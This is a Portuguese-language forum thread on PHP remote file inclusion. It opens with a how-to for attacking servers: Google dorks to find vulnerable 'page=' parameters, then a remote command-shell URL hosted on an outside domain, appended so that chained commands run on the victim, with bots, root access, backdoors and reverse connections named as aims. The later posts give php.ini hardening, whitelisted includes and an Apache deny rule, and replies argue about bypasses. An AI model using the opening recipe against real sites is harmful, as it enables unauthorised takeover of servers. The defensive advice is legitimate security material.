PHP Injection
Vou Resumir aqui como se faz para achar um servidor vulneravel para injeção de comandos PHP.
A primeira coisa que voce deve fazer é, entender o que é uma string:
php?page=
php?inc=
php?x=
e varias outras...
Esses sao so sites que vc ira testar, portanto facilita muito a vida, se vc colokar no google:
allinurl: string
Pois dai o google ira achar a string no endereco de varios site por exemplo:
www.site.com/modules.php?page= (http://www.site.com/modules.php?page=)
digamos que voce queira testar esse site, então é simples você pega uma CMD (sempre usei esse nome), que é um exploit, para ver se ele é vulneravel.
http://www.lorenzo4ever.de/tmp/cse.gif?&cmd= (http://www.lorenzo4ever.de/tmp/cse.gif?&cmd=) <--- CMD (exploit)
Entao o endereco inteiro vai ficar assim:
http://www.site.com/modules.php?page.../cse.gif?&cmd= (http://www.site.com/modules.php?page.../cse.gif?&cmd=)
É isso! Simples nao, se for vulneravel, voce pode brincar com o servidor, rodando bots nele (é o que eu mais faco para o IRC), conseguindo root, rodar backdoor, conexao reversa, depende do gosto de cada um.
Lembrando que todos os comandos sao colokados depois do "&cmd="
http://www.lorenzo4ever.de/tmp/cse.gif?&cmd=comando (http://www.lorenzo4ever.de/tmp/cse.gif?&cmd=comando)
E também os comandos são separados por ;
http://www.lorenzo4ever.de/tmp/cse.g... ... ;comando.. (http://www.lorenzo4ever.de/tmp/cse.g...comando;comando..).
(bem resumido mesmo)
Agora a Prevenção :
Primeiro, edite o php.ini especifique as opções:
allow_url_fopen = Off
Isso vai impedir que um include ou um open que não esteja hardcoded, ou seja, que tenham seus valores fornecidos por uma variável, façam includes remotos, como no exemplo citado no início deste post.
safe_mode = On
Isto impedirá que os scripts em PHP abram arquivos que não sejam do mesmo dono (UID) do script. Mas não esqueça de dar um chown nos scripts para um usuário sem privilégios (o nobody tá de bom tamanho), criando um usuário phpscripts ou algo assim.
register_globals = Off
O "register globals" ligado diz para o PHP que qualquer variável passada como parâmetro deve ser reconhecida como uma variável válida dentro do código PHP. Isto facilita muito as coisas pois com isso não precisamos ficar associando o array $_REQUEST a variáveis internas, mas ao mesmo tempo é perigoso, pois permite a um atacante controlar variáveis internas que você não tenha corretamente incializado.
magic_quotes_gpc = On
Se você não tem conhecimento sobre como "sanitizar" variáveis antes de enviá-las para bancos de dados ou programas externos, uma boa opção é deixar o "magic quotes" ligado, pois ele dificulta bastante a manipulação de strings para, por exemplo, provocar um SQL Injection no seu acesso ao banco.
display_errors = Off
Ao invés de visualizar os erros de programação no browser, use o log do servidor. Esta opção impede que atacantes provoquem erros na sua aplicação para descobrirem paths da estrutura de arquivos.
Leia as demais opções do seu php.ini, especialmente se você estiver usando o PHP sob IIS/Windows. Existem coisas importantes lá, mas que nunca tive a oportunidade de usar.
Além das configurações, algumas práticas de programação podem salvar a sua pele. Por exemplo, NUNCA PASSE O NOME DE UM ARQUIVO COMO PARÂMETRO PARA INCLUDE OU FOPEN! É muito comum você encontrar sites com URLs do tipo:
Citar:
http://www.site.com/index.php?inc=contato (http://www.site.com/index.php?inc=contato)
E então, quando mudamos a palavra contato para qualquer outra coisa (por exemplo "testnotfound") o PHP exibe a fatídica mensagem de erro de "Arquivo não encontrado". E atenção: NÃO CONFIE NO SEU CÓDIGO SE VOCÊ ESTÁ ACRESCENTANDO UM PATH COMPLETO E A EXTENSÃO DO ARQUIVO NA HORA DE INCLUIR, por exemplo:
Código PHP:
include("/home/asnocoder/www/includes/".$inc.".php");
Não confie nisso! Continua perfeitamente possível incluir qualquer arquivo do seu sistema através da manipulação correta da variável $inc.
E já que estamos falando de includes, NUNCA COLOQUE EXTENSÃO .inc NOS SEUS SCRIPTS OU BIBLIOTECAS. Estas extensões não são tratadas pelo webserver e o código fonte do programa é exibido caso eles sejam chamados diretamente no browser. Você tem três opções:
1. Renomear estes arquivos para "arquivo.inc.php", por exemplo (e alterar os includes que fazem referência a eles).
2. Mover estes arquivos para uma parte da árvore de diretórios que não seja acessível diretamente pelo browser.
3. Proteger o diretório onde estes arquivos estão. Segue exemplo de diretrizes do Apache:
Código:
<Location ~ "/[^ ](?=\.inc(\?[^ ]*)?)/">
Options None
Order Allow, Deny
Deny from All
AllowOverride None
Satisfy All
</Location>
Quando eu tenho que fazer um include/fopen de acordo com uma opção do usuário, eu costumo criar um ninho de IFs e passar como parâmetro para a página apenas um número, ou um código qualquer, fazendo algo do tipo:
Código PHP:
$inc = "index.php"; // Página default
if($_GET['opcao']=="1") { $inc = "pagina1.php"; }
if($_GET['opcao']=="2") { $inc = "pagina2.php"; }
include($inc);
Existem outras dicas que ainda podemos colocar aqui, mas resumindo é só
Fonte: google (pesquisa e dedicação)
tem jeito mais facil =/
exemplo:
bloquear o conteudo do include usando o strpos
if(strpos(http://))
{
echo ("Flho duma puta qrewndo fazer php inject é?!?!?");
}
acho q eh isso =P
ou tbm adicionar um conf que fale quais modulos podem ser chamados no include
daew coloca um include sem var da conf no index
include conf.php;
flws
ai o cara vai larga num ftp ou num https e vc se fode XD
beleza bloodrain
um endereço ip tambem cruza isso direto
Quote$inc = "index.php"; // Página default
if($_GET['opcao']=="1") { $inc = "pagina1.php"; }
if($_GET['opcao']=="2") { $inc = "pagina2.php"; }
include($inc);
muitas vezes vc nao tem opçao de fazer regulagem no php.ini
ainda tem um monte de servidores que estao com globals a on
eu acho que entao daria para burlar esse sistema assim
index.php?inc=minha_backdor
as condiçoes sobre o parametro opcao nao estao preenchidas e possivelmente o commando include chamara a variavel $inc que possivelmente nao sera esmagada pela declaraçao $inc = "index.php";
se tevesse botado o commando include dentre das condiçoes nao teria esse commentario

rog
@bloodrain
vc e o bitstorm ?
eu uso meus includes assim
$vai = $_GET['vai'];
if (!isset($vai))
include("home.php");
else if(ereg("/",$vai))
include("forbidden.php");
else {
if (file_exists("$vai.php"))
include_once("$vai.php");
else include("notfound.php");
}
?>
Não vejo como burlar...
lol
a melhora regra e de nao incluir variavel
quase ninguem usa dado constante
define ("path", "./config.php");
include(path);
isso nao e burlavel
rog